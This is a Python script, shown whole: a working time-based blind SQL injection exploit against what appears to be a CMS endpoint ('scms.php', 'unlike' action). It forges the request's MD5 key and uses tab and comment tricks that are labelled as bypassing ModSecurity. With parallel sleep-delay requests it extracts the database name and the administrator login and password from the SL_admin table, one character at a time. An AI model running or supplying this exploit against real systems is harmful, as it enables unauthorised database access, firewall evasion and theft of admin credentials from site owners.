from argparse import ArgumentParser from multiprocessing import Pool import requests import hashlib headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" } # bypass ModSecurity CHARS = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_" url = "" sleep = 30 def _params(payload): params = { "action": "unlike", "id": "t1\x09and\x09sleep(15)", "timestamp": "10000000000000000", } params["id"] = payload params["key"] = md5(params) return params def _payload(condition): payload = "t1\x09and\x09if({0},sleep({1}),1)".format(condition, sleep) return payload def request(payload): params = _params(payload) try: r = requests.get(url, headers=headers, params=params) time = r.elapsed.total_seconds() except: time = 0 return time def md5(params): m = hashlib.md5() key = params["id"] + "10000000000000000" + "unlike" key = key.encode("utf-8") m.update(key) key = m.hexdigest() return key def length_arg(query, length): arg = (length, "length({0})={1}".format(query, length)) return arg def length_args(query): args = [length_arg(query, length) for length in range(1, 100)] return args def char_arg(query, index, char): arg = (char, "ascii(substr({0},{1},1))={2}".format(query, index, ord(char))) return arg def char_args(query, index, chars): args = [char_arg(query, index, char) for char in chars] return args def find_len(args): result = 0 length, condition = args payload = _payload(condition) time = request(payload) if time > sleep: result = length return result def find_char(args): char, condition = args result = "" payload = _payload(condition) time = request(payload) if time > sleep: result = char return result def find_length(query): length = 0 args = length_args(query) pool = Pool() for length in pool.imap(find_len, args): if length: arg = length_arg(query, length) length = find_len(arg) if length: break return length def find_value(query, length): value = "" pool = Pool() for index in range(1, length + 1): args = char_args(query, index, CHARS) for char in pool.imap_unordered(find_char, args): if char: arg = char_arg(query, index, char) char = find_char(arg) if char: value += char break return value def test(): payload = "t1\x09and\x09sleep({})".format(sleep) time = request(payload) if time > sleep: print(">---- Injected successfully") else: print(">---- Injected unsuccessfully") def main(): parser = ArgumentParser() parser.add_argument("url", help="URL (e.q. http://localhost/js/scms.php)") parser.add_argument( "-s", dest="sleep", default=30, type=int, help="Sleep time (default 30s)" ) parser.add_argument( "--test", dest="test", action="store_const", const=True, default=False, help="test for injection", ) parser.add_argument( "--db", dest="db", action="store_const", const=True, default=False, help="retrieve database", ) parser.add_argument( "--login", dest="login", action="store_const", const=True, default=False, help="retrieve A_login", ) parser.add_argument( "--pwd", dest="pwd", action="store_const", const=True, default=False, help="retrieve A_pwd", ) args = parser.parse_args() global url, sleep url = args.url sleep = args.sleep queries = [] if args.test: test() exit() if args.db: query = "database()" column = "database()" queries.append((query, column)) if args.login: query = "(select\x09A_login#bypass\x0afrom\x09SL_admin)" # bypass ModSecurity column = "A_login" queries.append((query, column)) if args.pwd: query = "(select\x09A_pwd#bypass\x0afrom\x09SL_admin)" # bypass ModSecurity column = "A_pwd" queries.append((query, column)) if not len(queries): parser.print_help() exit() print("Start to inject") for query, column in queries: length = find_length(query) print(">---- {} length:".format(column), length) value = find_value(query, length) print(">---- {} value:".format(column), value) if __name__ == "__main__": main()